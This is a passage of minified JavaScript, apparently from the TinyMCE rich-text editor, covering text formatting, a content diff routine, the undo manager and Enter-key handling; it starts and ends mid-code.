o,a,s,l,u,c;if(e){for(c=e.parentNode,o=n.parentNode;o&&o!=c;o=o.parentNode){for(a=Q.clone(o,se),u=0;u<p.length;u++)if($(p[u],t,a,a)){a=0;break}a&&(s&&a.appendChild(s),l||(l=a),s=a)}!i||h.mixed&&ne(e)||(n=Q.split(e,n)),s&&(r.parentNode.insertBefore(s,r),l.appendChild(r))}return
n}function s(e){return a(o(e),e,e,!0)}function u(e){var
t=Q.get(e?"_start":"_end"),n=t[e?"firstChild":"lastChild"];return
he(n)&&(n=n[e?"firstChild":"lastChild"]),3==n.nodeType&&0===n.data.length&&(n=e?t.previousSibling||t.nextSibling:t.nextSibling||t.previousSibling),Q.remove(t,!0),n}function
d(e){var
t,n,r=e.commonAncestorContainer;if(e=W(e,p,le),h.split){if(t=X(e,le),n=X(e),t!=n){if(/^(TR|TH|TD)$/.test(t.nodeName)&&t.firstChild&&(t="TR"==t.nodeName?t.firstChild.firstChild||t:t.firstChild||t),r&&/^T(HEAD|BODY|FOOT|R)$/.test(r.nodeName)&&c(n)&&n.firstChild&&(n=n.firstChild||n),Q.isChildOf(t,n)&&!ne(n)&&!c(t)&&!c(n))return
t=U(t,"span",{id:"_start","data-mce-type":"bookmark"}),s(t),void(t=u(le));t=U(t,"span",{id:"_start","data-mce-type":"bookmark"}),n=U(n,"span",{id:"_end","data-mce-type":"bookmark"}),s(t),s(n),t=u(le),n=u()}else
t=n=s(t);e.startContainer=t.parentNode?t.parentNode:t,e.startOffset=ie(t),e.endContainer=n.parentNode?n.parentNode:n,e.endOffset=ie(n)+1}ee.walk(e,function(e){me(e,function(e){i(e),1===e.nodeType&&"underline"===l.dom.getStyle(e,"text-decoration")&&e.parentNode&&"underline"===C(e.parentNode)&&$({deep:!1,exact:!0,inline:"span",styles:{textDecoration:"underline"}},null,e)})})}var
p=g(e),h=p[0],m,v,y=!0;if(n)return
void(n.nodeType?(v=Q.createRng(),v.setStartBefore(n),v.setEndAfter(n),d(v)):d(n));if("false"!==de(Z.getNode()))Z.isCollapsed()&&h.inline&&!Q.select("td[data-mce-selected],th[data-mce-selected]").length?K("remove",e,t,r):(m=Z.getBookmark(),d(Z.getRng(le)),Z.moveToBookmark(m),h.inline&&S(e,t,Z.getStart())&&G(Z.getRng(!0)),l.nodeChanged());else{n=Z.getNode();for(var
b=0,x=p.length;b<x&&(!p[b].ceFalseOverride||!$(p[b],t,n,n));b++);}}function
N(e,t,n){var r=g(e);!S(e,t,n)||"toggle"in
r[0]&&!r[0].toggle?w(e,t,n):E(e,t,n)}function _(e,t,n,r){function
i(e,t,i){var o,a,s=t[i],l;if(t.onmatch)return
t.onmatch(e,t,i);if(s)if(s.length===ce){for(o in
s)if(s.hasOwnProperty(o)){if(a="attributes"===i?Q.getAttrib(e,o):H(e,o),r&&!a&&!t.exact)return;if((!r||t.exact)&&!D(a,I(F(s[o],n),o)))return}}else
for(l=0;l<s.length;l++)if("attributes"===i?Q.getAttrib(e,s[l]):H(e,s[l]))return
t;return t}var
o=g(t),a,s,l;if(o&&e)for(s=0;s<o.length;s++)if(a=o[s],B(e,a)&&i(e,a,"attributes")&&i(e,a,"styles")){if(l=a.classes)for(s=0;s<l.length;s++)if(!Q.hasClass(e,l[s]))return;return
a}}function S(e,t,n){function r(n){var r=Q.getRoot();return
n!==r&&(n=Q.getParent(n,function(n){return!!b(n,e)||(n.parentNode===r||!!_(n,e,t,!0))}),_(n,e,t))}var
i;return
n?r(n):(n=Z.getNode(),r(n)?le:(i=Z.getStart(),i!=n&&r(i)?le:se))}function
k(e,t){var n,r=[],i={};return n=Z.getStart(),Q.getParent(n,function(n){var
o,a;for(o=0;o<e.length;o++)a=e[o],!i[a]&&_(n,a,t)&&(i[a]=!0,r.push(a))},Q.getRoot()),r}function
T(e){var
t=g(e),n,r,i,o,a;if(t)for(n=Z.getStart(),r=f(n),o=t.length-1;o>=0;o--){if(a=t[o].selector,!a||t[o].defaultBlock)return
le;for(i=r.length-1;i>=0;i--)if(Q.is(r[i],a))return le}return
se}function R(e,t,n){var r;return
ue||(ue={},r={},l.on("NodeChange",function(e){var
t=f(e.element),n={};t=o.grep(t,function(e){return
1==e.nodeType&&!e.getAttribute("data-mce-bogus")}),me(ue,function(e,i){me(t,function(o){return
_(o,i,{},e.similar)?(r[i]||(me(e,function(e){e(!0,{node:o,format:i,parents:t})}),r[i]=e),n[i]=e,!1):!b(o,i)&&void
0})}),me(r,function(i,o){n[o]||(delete
r[o],me(i,function(n){n(!1,{node:e.element,format:o,parents:t})}))})})),me(e.split(","),function(e){ue[e]||(ue[e]=[],ue[e].similar=n),ue[e].push(t)}),this}function
A(e){return a.getCssText(l,e)}function B(e,t){return
D(e,t.inline)?le:D(e,t.block)?le:t.selector?1==e.nodeType&&Q.is(e,t.selector):void
0}function D(e,t){return
e=e||"",t=t||"",e=""+(e.nodeName||e),t=""+(t.nodeName||t),e.toLowerCase()==t.toLowerCase()}function
L(e,t,n){me(e.childNodes,function(e){M(e)&&(t(e)&&n(e),e.hasChildNodes()&&L(e,t,n))})}function
M(e){return
1==e.nodeType&&!he(e)&&!z(e)&&!p(e)}function
P(e){return i.curry(function(e,t){return!(!t||!H(t,e))},e)}function
O(e,t){return i.curry(function(e,t,n){Q.setStyle(n,e,t)},e,t)}function
H(e,t){return I(Q.getStyle(e,t),t)}function
I(e,t){return"color"!=t&&"backgroundColor"!=t||(e=Q.toHex(e)),"fontWeight"==t&&700==e&&(e="bold"),"fontFamily"==t&&(e=e.replace(/[\'\"]/g,"").replace(/,\s+/g,",")),""+e}function
F(e,t){return"string"!=typeof
e?e=e(t):t&&(e=e.replace(/%(\w+)/g,function(e,n){return
t[n]||e})),e}function z(e){return e&&3===e.nodeType&&/^([\t
\r\n]+|)$/.test(e.nodeValue)}function U(e,t,n){var r=Q.create(t,n);return
e.parentNode.insertBefore(r,e),r.appendChild(e),r}function
W(t,n,r){function i(e){function
t(e){return"BR"==e.nodeName&&e.getAttribute("data-mce-bogus")&&!e.nextSibling}var
r,i,o,a,s;if(r=i=e?g:y,a=e?"previousSibling":"nextSibling",s=Q.getRoot(),3==r.nodeType&&!z(r)&&(e?v>0:b<r.nodeValue.length))return
r;for(;;){if(!n[0].block_expand&&ne(i))return
i;for(o=i[a];o;o=o[a])if(!he(o)&&!z(o)&&!t(o))return
i;if(i==s||i.parentNode==s){r=i;break}i=i.parentNode}return r}function
o(e,t){for(t===ce&&(t=3===e.nodeType?e.length:e.childNodes.length);e&&e.hasChildNodes();)e=e.childNodes[t],e&&(t=3===e.nodeType?e.length:e.childNodes.length);return{node:e,offset:t}}function
a(e){for(var
t=e;t;){if(1===t.nodeType&&de(t))return"false"===de(t)?t:e;t=t.parentNode}return
e}function s(t,n,i){function o(e,t){var
n,o,a=e.nodeValue;return"undefined"==typeof
t&&(t=i?a.length:0),i?(n=a.lastIndexOf("
",t),o=a.lastIndexOf("\xa0",t),n=n>o?n:o,n===-1||r||n++):(n=a.indexOf("
",t),o=a.indexOf("\xa0",t),n=n!==-1&&(o===-1||n<o)?n:o),n}var
a,s,u,c;if(3===t.nodeType){if(u=o(t,n),u!==-1)return{container:t,offset:u};c=t}for(a=new
e(t,Q.getParent(t,ne)||l.getBody());s=a[i?"prev":"next"]();)if(3===s.nodeType){if(c=s,u=o(s),u!==-1)return{container:s,offset:u}}else
if(ne(s))break;if(c)return n=i?0:c.length,{container:c,offset:n}}function
c(e,r){var
i,o,a,s;for(3==e.nodeType&&0===e.nodeValue.length&&e[r]&&(e=e[r]),i=f(e),o=0;o<i.length;o++)for(a=0;a<n.length;a++)if(s=n[a],!("collapsed"in
s&&s.collapsed!==t.collapsed)&&Q.is(i[o],s.selector))return
i[o];return e}function d(e,t){var
r,i=Q.getRoot();if(n[0].wrapper||(r=Q.getParent(e,n[0].block,i)),r||(r=Q.getParent(3==e.nodeType?e.parentNode:e,function(e){return
e!=i&&u(e)})),r&&n[0].wrapper&&(r=f(r,"ul,ol").reverse()[0]||r),!r)for(r=e;r[t]&&!ne(r[t])&&(r=r[t],!D(r,"br")););return
r||e}var
p,h,m,g=t.startContainer,v=t.startOffset,y=t.endContainer,b=t.endOffset;if(1==g.nodeType&&g.hasChildNodes()&&(p=g.childNodes.length-1,g=g.childNodes[v>p?p:v],3==g.nodeType&&(v=0)),1==y.nodeType&&y.hasChildNodes()&&(p=y.childNodes.length-1,y=y.childNodes[b>p?p:b-1],3==y.nodeType&&(b=y.nodeValue.length)),g=a(g),y=a(y),(he(g.parentNode)||he(g))&&(g=he(g)?g:g.parentNode,g=g.nextSibling||g,3==g.nodeType&&(v=0)),(he(y.parentNode)||he(y))&&(y=he(y)?y:y.parentNode,y=y.previousSibling||y,3==y.nodeType&&(b=y.length)),n[0].inline&&(t.collapsed&&(m=s(g,v,!0),m&&(g=m.container,v=m.offset),m=s(y,b),m&&(y=m.container,b=m.offset)),h=o(y,b),h.node)){for(;h.node&&0===h.offset&&h.node.previousSibling;)h=o(h.node.previousSibling);h.node&&h.offset>0&&3===h.node.nodeType&&"
"===h.node.nodeValue.charAt(h.offset-1)&&h.offset>1&&(y=h.node,y.splitText(h.offset-1))}return(n[0].inline||n[0].block_expand)&&(n[0].inline&&3==g.nodeType&&0!==v||(g=i(!0)),n[0].inline&&3==y.nodeType&&b!==y.nodeValue.length||(y=i())),n[0].selector&&n[0].expand!==se&&!n[0].inline&&(g=c(g,"previousSibling"),y=c(y,"nextSibling")),(n[0].block||n[0].selector)&&(g=d(g,"previousSibling"),y=d(y,"nextSibling"),n[0].block&&(ne(g)||(g=i(!0)),ne(y)||(y=i()))),1==g.nodeType&&(v=ie(g),g=g.parentNode),1==y.nodeType&&(b=ie(y)+1,y=y.parentNode),{startContainer:g,startOffset:v,endContainer:y,endOffset:b}}function
V(e,t){return t.links&&"A"==e.tagName}function
$(e,t,n,r){var i,o,a;if(!B(n,e)&&!V(n,e))return
se;if("all"!=e.remove)for(me(e.styles,function(i,o){i=I(F(i,t),o),"number"==typeof
o&&(o=i,r=0),(e.remove_similar||!r||D(H(r,o),i))&&Q.setStyle(n,o,""),a=1}),a&&""===Q.getAttrib(n,"style")&&(n.removeAttribute("style"),n.removeAttribute("data-mce-style")),me(e.attributes,function(e,i){var
o;if(e=F(e,t),"number"==typeof
i&&(i=e,r=0),!r||D(Q.getAttrib(r,i),e)){if("class"==i&&(e=Q.getAttrib(n,i),e&&(o="",me(e.split(/\s+/),function(e){/mce\-\w+/.test(e)&&(o+=(o?"
":"")+e)}),o)))return void
Q.setAttrib(n,i,o);"class"==i&&n.removeAttribute("className"),ae.test(i)&&n.removeAttribute("data-mce-"+i),n.removeAttribute(i)}}),me(e.classes,function(e){e=F(e,t),r&&!Q.hasClass(r,e)||Q.removeClass(n,e)}),o=Q.getAttribs(n),i=0;i<o.length;i++){var
s=o[i].nodeName;if(0!==s.indexOf("_")&&0!==s.indexOf("data-"))return
se}return"none"!=e.remove?(q(n,e),le):void 0}function
q(e,t){function n(e,t,n){return
e=j(e,t,n),!e||"BR"==e.nodeName||ne(e)}var
r=e.parentNode,i;t.block&&(re?r==Q.getRoot()&&(t.list_block&&D(e,t.list_block)||me(ge(e.childNodes),function(e){te(re,e.nodeName.toLowerCase())?i?i.appendChild(e):(i=U(e,re),Q.setAttribs(i,l.settings.forced_root_block_attrs)):i=0})):ne(e)&&!ne(r)&&(n(e,se)||n(e.firstChild,le,1)||e.insertBefore(Q.create("br"),e.firstChild),n(e,le)||n(e.lastChild,se,1)||e.appendChild(Q.create("br")))),t.selector&&t.inline&&!D(t.inline,e)||Q.remove(e,1)}function
j(e,t,n){if(e)for(t=t?"nextSibling":"previousSibling",e=n?e:e[t];e;e=e[t])if(1==e.nodeType||!z(e))return
e}function Y(e,t){function
n(e,t){for(i=e;i;i=i[t]){if(3==i.nodeType&&0!==i.nodeValue.length)return
e;if(1==i.nodeType&&!he(i))return i}return e}var i,o,a=new
r(Q);if(e&&t&&(e=n(e,"previousSibling"),t=n(t,"nextSibling"),a.compare(e,t))){for(i=e.nextSibling;i&&i!=t;)o=i,i=i.nextSibling,e.appendChild(o);return
Q.remove(t),me(ge(t.childNodes),function(t){e.appendChild(t)}),e}return
t}function X(t,n){var r,i,o;return
r=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"],1==r.nodeType&&(o=r.childNodes.length-1,!n&&i&&i--,r=r.childNodes[i>o?o:i]),3===r.nodeType&&n&&i>=r.nodeValue.length&&(r=new
e(r,l.getBody()).next()||r),3!==r.nodeType||n||0!==i||(r=new
e(r,l.getBody()).prev()||r),r}function K(t,n,r,i){function o(e){var
t=Q.create("span",{id:m,"data-mce-bogus":!0,style:v?"color:red":""});return
e&&t.appendChild(l.getDoc().createTextNode(oe)),t}function
a(e,t){for(;e;){if(3===e.nodeType&&e.nodeValue!==oe||e.childNodes.length>1)return!1;t&&1===e.nodeType&&t.push(e),e=e.firstChild}return!0}function
s(e){for(;e;){if(e.id===m)return e;e=e.parentNode}}function c(t){var
n;if(t)for(n=new e(t,t),t=n.current();t;t=n.next())if(3===t.nodeType)return
t}function d(e,t){var
n,r;if(e)r=Z.getRng(!0),a(e)?(t!==!1&&(r.setStartBefore(e),r.setEndBefore(e)),Q.remove(e)):(n=c(e),n.nodeValue.charAt(0)===oe&&(n.deleteData(0,1),r.startContainer==n&&r.startOffset>0&&r.setStart(n,r.startOffset-1),r.endContainer==n&&r.endOffset>0&&r.setEnd(n,r.endOffset-1)),Q.remove(e,1)),Z.setRng(r);else
if(e=s(Z.getStart()),!e)for(;e=Q.get(m);)d(e,!1)}function f(){var
e,t,i,a,l,u,d;e=Z.getRng(!0),a=e.startOffset,u=e.startContainer,d=u.nodeValue,t=s(Z.getStart()),t&&(i=c(t));var
f=/[^\s\u00a0\u00ad\u200b\ufeff]/;d&&a>0&&a<d.length&&f.test(d.charAt(a))&&f.test(d.charAt(a-1))?(l=Z.getBookmark(),e.collapse(!0),e=W(e,g(n)),e=ee.split(e),w(n,r,e),Z.moveToBookmark(l)):(t&&i.nodeValue===oe?w(n,r,t):(t=o(!0),i=t.firstChild,e.insertNode(t),a=1,w(n,r,t)),Z.setCursorLocation(i,a))}function
p(){var
e=Z.getRng(!0),t,a,s,l,c,d,f=[],p,h;for(t=e.startContainer,a=e.startOffset,c=t,3==t.nodeType&&(a!=t.nodeValue.length&&(l=!0),c=c.parentNode);c;){if(_(c,n,r,i)){d=c;break}c.nextSibling&&(l=!0),f.push(c),c=c.parentNode}if(d)if(l)s=Z.getBookmark(),e.collapse(!0),e=W(e,g(n),!0),e=ee.split(e),E(n,r,e),Z.moveToBookmark(s);else{for(h=o(),c=h,p=f.length-1;p>=0;p--)c.appendChild(Q.clone(f[p],!1)),c=c.firstChild;c.appendChild(Q.doc.createTextNode(oe)),c=c.firstChild;var
m=Q.getParent(d,u);m&&Q.isEmpty(m)?d.parentNode.replaceChild(h,d):Q.insertAfter(h,d),Z.setCursorLocation(c,1),Q.isEmpty(d)&&Q.remove(d)}}function
h(){var
e;e=s(Z.getStart()),e&&!Q.isEmpty(e)&&ve(e,function(e){1!=e.nodeType||e.id===m||Q.isEmpty(e)||Q.setAttrib(e,"data-mce-bogus",null)},"childNodes")}var
m="_mce_caret",v=l.settings.caret_debug;l._hasCaretEvents||(pe=function(){var
e=[],t;if(a(s(Z.getStart()),e))for(t=e.length;t--;)Q.setAttrib(e[t],"data-mce-bogus","1")},fe=function(e){var
t=e.keyCode;d(),8==t&&Z.isCollapsed()&&Z.getStart().innerHTML==oe&&d(s(Z.getStart())),37!=t&&39!=t||d(s(Z.getStart())),h()},l.on("SetContent",function(e){e.selection&&h()}),l._hasCaretEvents=!0),"apply"==t?f():p()}function
G(t){var
n=t.startContainer,r=t.startOffset,i,o,a,s,l;if((t.startContainer!=t.endContainer||!d(t.startContainer.childNodes[t.startOffset]))&&(3==n.nodeType&&r>=n.nodeValue.length&&(r=ie(n),n=n.parentNode,i=!0),1==n.nodeType))for(s=n.childNodes,n=s[Math.min(r,s.length-1)],o=new
e(n,Q.getParent(n,Q.isBlock)),(r>s.length-1||i)&&o.next(),a=o.current();a;a=o.next())if(3==a.nodeType&&!z(a))return
l=Q.create("a",{"data-mce-bogus":"all"},oe),a.parentNode.insertBefore(l,a),t.setStart(a,0),Z.setRng(t),void
Q.remove(l)}var J={},Q=l.dom,Z=l.selection,ee=new
t(Q),te=l.schema.isValidChild,ne=Q.isBlock,re=l.settings.forced_root_block,ie=Q.nodeIndex,oe="\ufeff",ae=/^(src|href|style)$/,se=!1,le=!0,ue,ce,de=Q.getContentEditable,fe,pe,he=n.isBookmarkNode,me=o.each,ge=o.grep,ve=o.walk,ye=o.extend;ye(this,{get:g,register:v,unregister:y,apply:w,remove:E,toggle:N,match:S,matchAll:k,matchNode:_,canApply:T,formatChanged:R,getCssText:A}),h(),m(),l.on("BeforeGetContent",function(e){pe&&"raw"!=e.format&&pe()}),l.on("mouseup
keydown",function(e){fe&&fe(e)})}}),r(Q,[],function(){var
e=0,t=1,n=2,r=function(r,i){var o=r.length+i.length+2,a=new Array(o),s=new
Array(o),l=function(e,t,n){return{start:e,end:t,diag:n}},u=function(o,a,s,l,c){var
f=d(o,a,s,l);if(null===f||f.start===a&&f.diag===a-l||f.end===o&&f.diag===o-s)for(var
p=o,h=s;p<a||h<l;)p<a&&h<l&&r[p]===i[h]?(c.push([e,r[p]]),++p,++h):a-o>l-s?(c.push([n,r[p]]),++p):(c.push([t,i[h]]),++h);else{u(o,f.start,s,f.start-f.diag,c);for(var
m=f.start;m<f.end;++m)c.push([e,r[m]]);u(f.end,a,f.end-f.diag,l,c)}},c=function(e,t,n,o){for(var
a=e;a-t<o&&a<n&&r[a]===i[a-t];)++a;return
l(e,a,t)},d=function(e,t,n,o){var l=t-e,u=o-n;if(0===l||0===u)return
null;var d=l-u,f=u+l,p=(f%2===0?f:f+1)/2;a[1+p]=e,s[1+p]=t+1;for(var
h=0;h<=p;++h){for(var m=-h;m<=h;m+=2){var
g=m+p;m===-h||m!=h&&a[g-1]<a[g+1]?a[g]=a[g+1]:a[g]=a[g-1]+1;for(var
v=a[g],y=v-e+n-m;v<t&&y<o&&r[v]===i[y];)a[g]=++v,++y;if(d%2!=0&&d-h<=m&&m<=d+h&&s[g-d]<=a[g])return
c(s[g-d],m+e-n,t,o)}for(m=d-h;m<=d+h;m+=2){for(g=m+p-d,m===d-h||m!=d+h&&s[g+1]<=s[g-1]?s[g]=s[g+1]-1:s[g]=s[g-1],v=s[g]-1,y=v-e+n-m;v>=e&&y>=n&&r[v]===i[y];)s[g]=v--,y--;if(d%2===0&&-h<=m&&m<=h&&s[g]<=a[g+d])return
c(s[g],m+e-n,t,o)}}},f=[];return
u(0,r.length,0,i.length,f),f};return{KEEP:e,DELETE:n,INSERT:t,diff:r}}),r(Z,[h,C,Q],function(e,t,n){var
r=function(e){return
1===e.nodeType?e.outerHTML:3===e.nodeType?t.encodeRaw(e.data,!1):8===e.nodeType?"<!--"+e.data+"-->":""},i=function(e){var
t,n,r;for(r=document.createElement("div"),t=document.createDocumentFragment(),e&&(r.innerHTML=e);n=r.firstChild;)t.appendChild(n);return
t},o=function(e,t,n){var
r=i(t);if(e.hasChildNodes()&&n<e.childNodes.length){var
o=e.childNodes[n];o.parentNode.insertBefore(r,o)}else
e.appendChild(r)},a=function(e,t){if(e.hasChildNodes()&&t<e.childNodes.length){var
n=e.childNodes[t];n.parentNode.removeChild(n)}},s=function(t,r){var
i=0;e.each(t,function(e){e[0]===n.KEEP?i++:e[0]===n.INSERT?(o(r,e[1],i),i++):e[0]===n.DELETE&&a(r,i)})},l=function(t){return
e.map(t.childNodes,r)},u=function(t,i){var o=e.map(i.childNodes,r);return
s(n.diff(o,t),i),i};return{read:l,write:u}}),r(ee,[h,Z],function(e,t){var
n=function(e){return
e.indexOf("</iframe>")!==-1},r=function(e){return{type:"fragmented",fragments:e,content:"",bookmark:null,beforeBookmark:null}},i=function(e){return{type:"complete",fragments:null,content:e,bookmark:null,beforeBookmark:null}},o=function(o){var
a,s,l;return a=t.read(o.getBody()),l=e.map(a,function(e){return
o.serializer.trimContent(e)}),s=l.join(""),n(s)?r(l):i(s)},a=function(e,n,r){"fragmented"===n.type?t.write(n.fragments,e.getBody()):e.setContent(n.content,{format:"raw"}),e.selection.moveToBookmark(r?n.beforeBookmark:n.bookmark)},s=function(e){return"fragmented"===e.type?e.fragments.join(""):e.content},l=function(e,t){return
s(e)===s(t)};return{createFragmentedLevel:r,createCompleteLevel:i,createFromEditor:o,applyToEditor:a,isEq:l}}),r(te,[I,m,ee],function(e,t,n){return
function(e){function r(t){e.setDirty(t)}function
i(e){a.typing=!1,a.add({},e)}function
o(){a.typing&&(a.typing=!1,a.add())}var
a=this,s=0,l=[],u,c,d=0;return
e.on("init",function(){a.add()}),e.on("BeforeExecCommand",function(e){var
t=e.command;"Undo"!==t&&"Redo"!==t&&"mceRepaint"!==t&&(o(),a.beforeChange())}),e.on("ExecCommand",function(e){var
t=e.command;"Undo"!==t&&"Redo"!==t&&"mceRepaint"!==t&&i(e)}),e.on("ObjectResizeStart
Cut",function(){a.beforeChange()}),e.on("SaveContent
ObjectResized
blur",i),e.on("DragEnd",i),e.on("KeyUp",function(t){var
o=t.keyCode;t.isDefaultPrevented()||((o>=33&&o<=36||o>=37&&o<=40||45===o||t.ctrlKey)&&(i(),e.nodeChanged()),46!==o&&8!==o||e.nodeChanged(),c&&a.typing&&(e.isDirty()||(r(l[0]&&!n.isEq(n.createFromEditor(e),l[0])),e.isDirty()&&e.fire("change",{level:l[0],lastLevel:null})),e.fire("TypingUndo"),c=!1,e.nodeChanged()))}),e.on("KeyDown",function(e){var
t=e.keyCode;if(!e.isDefaultPrevented()){if(t>=33&&t<=36||t>=37&&t<=40||45===t)return
void(a.typing&&i(e));var
n=e.ctrlKey&&!e.altKey||e.metaKey;!(t<16||t>20)||224===t||91===t||a.typing||n||(a.beforeChange(),a.typing=!0,a.add({},e),c=!0)}}),e.on("MouseDown",function(e){a.typing&&i(e)}),e.addShortcut("meta+z","","Undo"),e.addShortcut("meta+y,meta+shift+z","","Redo"),e.on("AddUndo
Undo Redo
ClearUndos",function(t){t.isDefaultPrevented()||e.nodeChanged()}),a={data:l,typing:!1,beforeChange:function(){d||(u=e.selection.getBookmark(2,!0))},add:function(i,o){var
a,c=e.settings,f,p;if(p=n.createFromEditor(e),i=i||{},i=t.extend(i,p),d||e.removed)return
null;if(f=l[s],e.fire("BeforeAddUndo",{level:i,lastLevel:f,originalEvent:o}).isDefaultPrevented())return
null;if(f&&n.isEq(f,i))return
null;if(l[s]&&(l[s].beforeBookmark=u),c.custom_undo_redo_levels&&l.length>c.custom_undo_redo_levels){for(a=0;a<l.length-1;a++)l[a]=l[a+1];l.length--,s=l.length}i.bookmark=e.selection.getBookmark(2,!0),s<l.length-1&&(l.length=s+1),l.push(i),s=l.length-1;var
h={level:i,lastLevel:f,originalEvent:o};return
e.fire("AddUndo",h),s>0&&(r(!0),e.fire("change",h)),i},undo:function(){var
t;return
a.typing&&(a.add(),a.typing=!1),s>0&&(t=l[--s],n.applyToEditor(e,t,!0),r(!0),e.fire("undo",{level:t})),t},redo:function(){var
t;return
s<l.length-1&&(t=l[++s],n.applyToEditor(e,t,!1),r(!0),e.fire("redo",{level:t})),t},clear:function(){l=[],s=0,a.typing=!1,a.data=l,e.fire("ClearUndos")},hasUndo:function(){return
s>0||a.typing&&l[0]&&!n.isEq(n.createFromEditor(e),l[0])},hasRedo:function(){return
s<l.length-1&&!a.typing},transact:function(e){o(),a.beforeChange();try{d++,e()}finally{d--}return
a.add()},extra:function(t,r){var
i,o;a.transact(t)&&(o=l[s].bookmark,i=l[s-1],n.applyToEditor(e,i,!0),a.transact(r)&&(l[s-1].beforeBookmark=o))}}}}),r(ne,[y,T,k,d],function(e,t,n,r){var
i=r.ie&&r.ie<11;return function(o){function a(a){function
h(e){return
e&&s.isBlock(e)&&!/^(TD|TH|CAPTION|FORM)$/.test(e.nodeName)&&!/^(fixed|absolute)/i.test(e.style.position)&&"true"!==s.getContentEditable(e)}function
m(e){return e&&/^(TD|TH|CAPTION)$/.test(e.nodeName)}function
g(e){var
t;s.isBlock(e)&&(t=l.getRng(),e.appendChild(s.create("span",null,"\xa0")),l.select(e),e.lastChild.outerHTML="",l.setRng(t))}function
v(e){var
t=e,n=[],r;if(t){for(;t=t.firstChild;){if(s.isBlock(t))return;1!=t.nodeType||f[t.nodeName.toLowerCase()]||n.push(t)}for(r=n.length;r--;)t=n[r],!t.hasChildNodes()||t.firstChild==t.lastChild&&""===t.firstChild.nodeValue?s.remove(t):"A"==t.nodeName&&"
"===(t.innerText||t.textContent)&&s.remove(t)}}function
y(t){function
n(e){for(;e;){if(1==e.nodeType||3==e.nodeType&&e.data&&/[\r\n\s]/.test(e.data))return
e;e=e.nextSibling}}var
i,o,a,u=t,c;if(t){if(r.ie&&r.ie<9&&P&&P.firstChild&&P.firstChild==P.lastChild&&"BR"==P.firstChild.tagName&&s.remove(P.firstChild),/^(LI|DT|DD)$/.test(t.nodeName)){var
d=n(t.firstChild);d&&/^(UL|OL|DL)$/.test(d.nodeName)&&t.insertBefore(s.doc.createTextNode("\xa0"),t.firstChild)}if(a=s.createRng(),r.ie||t.normalize(),t.hasChildNodes()){for(i=new
e(t,t);o=i.current();){if(3==o.nodeType){a.setStart(o,0),a.setEnd(o,0);break}if(p[o.nodeName.toLowerCase()]){a.setStartBefore(o),a.setEndBefore(o);break}u=o,o=i.next()}o||(a.setStart(u,0),a.setEnd(u,0))}else"BR"==t.nodeName?t.nextSibling&&s.isBlock(t.nextSibling)?((!O||O<9)&&(c=s.create("br"),t.parentNode.insertBefore(c,t)),a.setStartBefore(t),a.setEndBefore(t)):(a.setStartAfter(t),a.setEndAfter(t)):(a.setStart(t,0),a.setEnd(t,0));l.setRng(a),s.remove(c),l.scrollIntoView(t)}}function
b(e){var
t=u.forced_root_block;t&&t.toLowerCase()===e.tagName.toLowerCase()&&s.setAttribs(e,u.forced_root_block_attrs)}function
C(e){e.innerHTML=i?"":'<br
data-mce-bogus="1">'}function x(e){var
t=L,n,r,o,a=d.getTextInlineElements();if(e||"TABLE"==U?(n=s.create(e||V),b(n)):n=P.cloneNode(!1),o=n,u.keep_styles!==!1)do
if(a[t.nodeName]){if("_mce_caret"==t.id)continue;r=t.cloneNode(!1),s.setAttrib(r,"id",""),n.hasChildNodes()?(r.appendChild(n.firstChild),n.appendChild(r)):(o=r,n.appendChild(r))}while((t=t.parentNode)&&t!=D);return
i||(o.innerHTML='<br
data-mce-bogus="1">'),n}function w(t){var
n,r,i;if(3==L.nodeType&&(t?M>0:M<L.nodeValue.length))return!1;if(L.parentNode==P&&$&&!t)return!0;if(t&&1==L.nodeType&&L==P.firstChild)return!0;if("TABLE"===L.nodeName||L.previousSibling&&"TABLE"==L.previousSibling.nodeName)return
$&&!t||!$&&t;for(n=new
e(L,P),3==L.nodeType&&(t&&0===M?n.prev():t||M!=L.nodeValue.length||n.next());r=n.current();){if(1===r.nodeType){if(!r.getAttribute("data-mce-bogus")&&(i=r.nodeName.toLowerCase(),f[i]&&"br"!==i))return!1}else
if(3===r.nodeType&&!/^[
\t\r\n]*$/.test(r.nodeValue))return!1;t?n.prev():n.next()}return!0}function
E(e,t){var
n,r,i,a,l,u,c=V||"P";if(r=s.getParent(e,s.isBlock),!r||!h(r)){if(r=r||D,u=r==o.getBody()||m(r)?r.nodeName.toLowerCase():r.parentNode.nodeName.toLowerCase(),!r.hasChildNodes())return
n=s.create(c),b(n),r.appendChild(n),A.setStart(n,0),A.setEnd(n,0),n;for(a=e;a.parentNode!=r;)a=a.parentNode;for(;a&&!s.isBlock(a);)i=a,a=a.previousSibling;if(i&&d.isValidChild(u,c.toLowerCase())){for(n=s.create(c),b(n),i.parentNode.insertBefore(n,i),a=i;a&&!s.isBlock(a);)l=a.nextSibling,n.appendChild(a),a=l;A.setStart(e,t),A.setEnd(e,t)}}return
e}function N(){function e(e){for(var
t=z[e?"firstChild":"lastChild"];t&&1!=t.nodeType;)t=t[e?"nextSibling":"previousSibling"];return
t===P}function t(){var
e=z.parentNode;return/^(LI|DT|DD)$/.test(e.nodeName)?e:z}if(z!=o.getBody()){var
n=z.parentNode.nodeName;/^(OL|UL|LI)$/.test(n)&&(V="LI"),I=V?x(V):s.create("BR"),e(!0)&&e()?"LI"==n?s.insertAfter(I,t()):s.replace(I,z):e(!0)?"LI"==n?(s.insertAfter(I,t()),I.appendChild(s.doc.createTextNode("
")),I.appendChild(z)):z.parentNode.insertBefore(I,z):e()?(s.insertAfter(I,t()),g(I)):(z=t(),B=A.cloneRange(),B.setStartAfter(P),B.setEndAfter(z),F=B.extractContents(),"LI"==V&&"LI"==F.firstChild.nodeName?(I=F.firstChild,s.insertAfter(F,z)):(s.insertAfter(F,z),s.insertAfter(I,z))),s.remove(P),y(I),c.add()}}function
_(){o.execCommand("InsertLineBreak",!1,a)}function S(e){do
3===e.nodeType&&(e.nodeValue=e.nodeValue.replace(/^[\r\n]+/,"")),e=e.firstChild;while(e)}function
k(e){var
t=s.getRoot(),n,r;for(n=e;n!==t&&"false"!==s.getContentEditable(n);)"true"===s.getContentEditable(n)&&(r=n),n=n.parentNode;return
n!==t?r:t}function T(e){var
t;i||(e.normalize(),t=e.lastChild,t&&!/^(left|right)$/gi.test(s.getStyle(t,"float",!0))||s.add(e,"br"))}function
R(){I=/^(H[1-6]|PRE|FIGURE)$/.test(U)&&"HGROUP"!=W?x(V):x(),u.end_container_on_empty_block&&h(z)&&s.isEmpty(P)?I=s.split(z,P):s.insertAfter(I,P),y(I)}var
